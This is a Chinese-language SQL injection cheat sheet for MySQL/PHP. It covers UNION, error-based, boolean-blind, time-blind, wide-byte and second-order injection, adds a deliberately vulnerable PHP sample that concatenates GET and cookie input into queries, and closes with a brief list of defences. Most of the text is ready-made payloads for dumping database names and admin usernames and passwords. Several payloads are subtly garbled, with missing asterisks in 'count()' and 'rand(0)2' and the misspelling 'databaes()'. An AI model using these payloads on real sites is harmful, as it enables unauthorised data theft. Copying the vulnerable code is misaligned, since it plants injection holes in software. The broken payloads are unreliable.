SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
SQL注入分类
SQL注入按位置分类
•GET
•POST
•HTTP头部注入
•Cookie注入
SQL注入按数据类型分类
整型注入 (不需要闭合,不一定需要注释)
字符串类型注入 (需要闭合,或者需要注释)
SQL注入效果分类
UNION query SQL injection(可联合查询注入)
Error-based SQL injection(报错型注入)
Boolean-based blind SQL injection(布尔型注入)
Time-based blind SQL injection(基于时间延迟注入)
Wide char SQL injection (宽字节注入)
Twice SQL injection (二次注入)
Stacked queries SQL injection(可多语句查询注入)
判断整型或字符型注入
and 1=1 / and 1=2 回显页面不同 (真假判断)
‘ ” 引号判断(单引号判断或者双引号)显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
and sleep(5) (判断页面返回时间)
联合注入
UNION query SQL injection
1、判断列数
order by 10
order by 20
……
GROUP BY 10
2、判断显示位
php?id=-1 union select 1,2,3,4,5
php?id=1 like”[%23]” union –+%0a select 1,2,3,4,5
3、获取当数据库名称和当前连接数据库的用户
php?id=-1 union select 1,2,databaes(),4,5
php?id=-1 union select 1,2,user(),4,5
4、列出所有数据库
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
5、列出(数据库:test)中所有的表
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=’test’ limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
6、列出(数据库:test 表:admin )中所有的字段
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=’test’ and TABLE_NAME=’t10′ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
7、列出(数据库:test 表:admin )中的数据
limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
报错注入
Error-based SQL injection
select count(),(concat(floor(rand(0)2),(select version())))x from mysql.user group by x;
为什么会出现报错?
我们看一下报错的内容:Duplicate entry ‘15.5.53’ for key ‘group_key’。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表
1、通过floor报错
and(select 1 from (select count(),concat(concat(payload),floor(rand(0)2))x from information_schema.tables group by x)y)
and ( Select count() from information_schema.tables group by concat((payload),floor(rand(0)2)))
获取有多少个数据库
and (select 1 from(select count(),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
通过limit 获取所有数据库名
and (select 1 from(select count(),concat((select (select (select concat(0x7e, schema_name, 0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
select 1 from dual where 1= 1 and (select 1 from
(select count(),concat( (SELECT user()),floor(rand(0)2))x from exam.score group by x)a)
2、通过ExtractValue报错
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式**(如果我们不写字符串格式而写一个数字1,那么就会报错,将后面的语句查询出来.)**,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
and extractvalue(1, (concat(0x7e,(payload),0x7e))
and extractvalue(1, concat(0x7e,(select @@version),0x7e))
他会从第一个特殊字符开始显示错误
3、通过UpdateXML报错
and updatexml(1,(payload),1)
and updatexml(1, (concat(0x7e,(select user()),0x7e)),1)
布尔注入
Boolean-based blind SQL injection
需要掌握的几个函数:
exists( ) ascii( ) substr( ) Ord() Mid() length() Left() Regexp() Like()
•and exists (select user())
•and substr((select user()), 1, 1)=’r’
•and substr((select user()), 2, 1)=’o’
•and ascii(“r”)=114
•and ascii(substr((select user()), 1, 1))>114
•and ascii(substr((select user()), 2, 1))>111
?id=1′ and exists(select * from information_schema.tables) –+
?id=1′ and (select length(version()))=6 –+ //判断version()返回字符串长度。
?id=1′ and (select count(table_schema) from information_schema.tables) > 8 –+
//判断有多少数据库
?id=1′ and (select ascii(substr((select table_schema from information_schema.tables limit 0, 1), 1, 1)))>105 –+ //判断第一个库的第一个字符
判断库或者表的总体长度 SELECT LENGTH((payload)) > 6
时间注入
Time-based blind SQL injection
if(Condition,A,B)函数
当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
eg:if(ascii(substr(database(), 1, 1))=104, sleep(5), 1)
if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)
if((select count(distinct table_schema) from information_schema.tables)=17, sleep(5), 1)//获取当前数据库个数
if(ascii(substr((select user()), 1, 1))=114, sleep(5), 1) //获取当前连接数据库用户第一个字母
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105, sleep(5), 1) //判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 2, 1))=110, sleep(5), 1) //判断第一个数据库第二个字符。
宽字节注入
什么是宽字节
GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节
如果使用了类似于set names gbk这样得语句,此时mysql数据库就会将
Ascii大于128(%df)得字符当作是汉字字符得一部分,从而能吃掉\,引入单引号或者双引号
MySQL**的字符集转换过程**
\1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
\2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
• 使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
将操作结果从内部操作字符集转换为character_set_results。
重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一
次编码。
<?php
$link = mysqli_connect('localhost','root','root','blog');
$id = $_GET['id'];
mysqli_query("SET NAMES 'GBK'",$link);
mysqli_set_charset($link,'gbk');
$id = addslashes($_GET['id']);
$sql = "select * from users where id = '$id'";
echo $sql;
echo '<br>---------------<br>';
$result = mysqli_query($link,$sql);
while ($row = mysqli_fetch_assoc($result)){
echo $row['username'].''.$row['password'];
}
//设置cookie
setcookie("username","admin",time()+3600,'/');
//取出cookie
$username = $_COOKIE['username'];
$sql2 = "select * from users where username = '$username'";
$result = mysqli_query($link,$sql2);
while ($row = mysqli_fetch_assoc($result)){
echo $row['username'].''.$row['password'];
}
mysqli_close($link);
?>
以上代码中:mysqli_set_charset($link,’gbk’); //设置了GBK编码
二次注入
二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如**mysql_escape_string、mysql_real_escape_string转义)**
(2)数据库对直接取出恶意数据并没有进行过滤
总结表格
注入类型 | 显示方式 | 原理 | 示例 |
---|---|---|---|
联合注入 | 数据显示位 | 利用union关键字将想要查询的信息放在显示位 | id=-1′ union select 1,2,database()# |
报错注入 | 报错信息显示 | 利用内置函数的报错信息将要查询的信息显示出来 | id=1′ and extractvalue(1, (concat(0x7e,(database()),0x7e))# |
布尔注入 | 返回页面是否正常 | 利用页面是否正常来判断查询结果是否正确 | id=1′ and (select ascii(substr((database()), 1, 1)))>10# |
时间注入 | 返回时间是否正常 | 利用页面显示时间来判断查询结果是否正确 | id=1′ and if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)# |
宽字节注入 | 搭配使用 | 宽字节编码格式大于128ascii会吃掉转义符逃过过滤 | id=-1%df’ union select 1,2,database()%df# |
二次注入 | 搭配使用 | 将原用户名加上闭合和注释注册来实现登录原用户 | 注册admin’# 登录后为admin |
SQL注入防御
防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库
的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:
基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询
对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“\”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御
数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。
数据长度也应该做严格限制,可以防止较长的SQL注入语句
避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入
每个数据层编码统一,防止过滤模型被绕过
使用预编译的处理方式处理拼接了用户参数的SQL语句
在参数即将进入数据库执行之前,对SQL语句的语义进行完整性检查,确认语义没有发生变化
定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行
相关函数
整型Intval()
字符型addslashes()
发现沙发条评论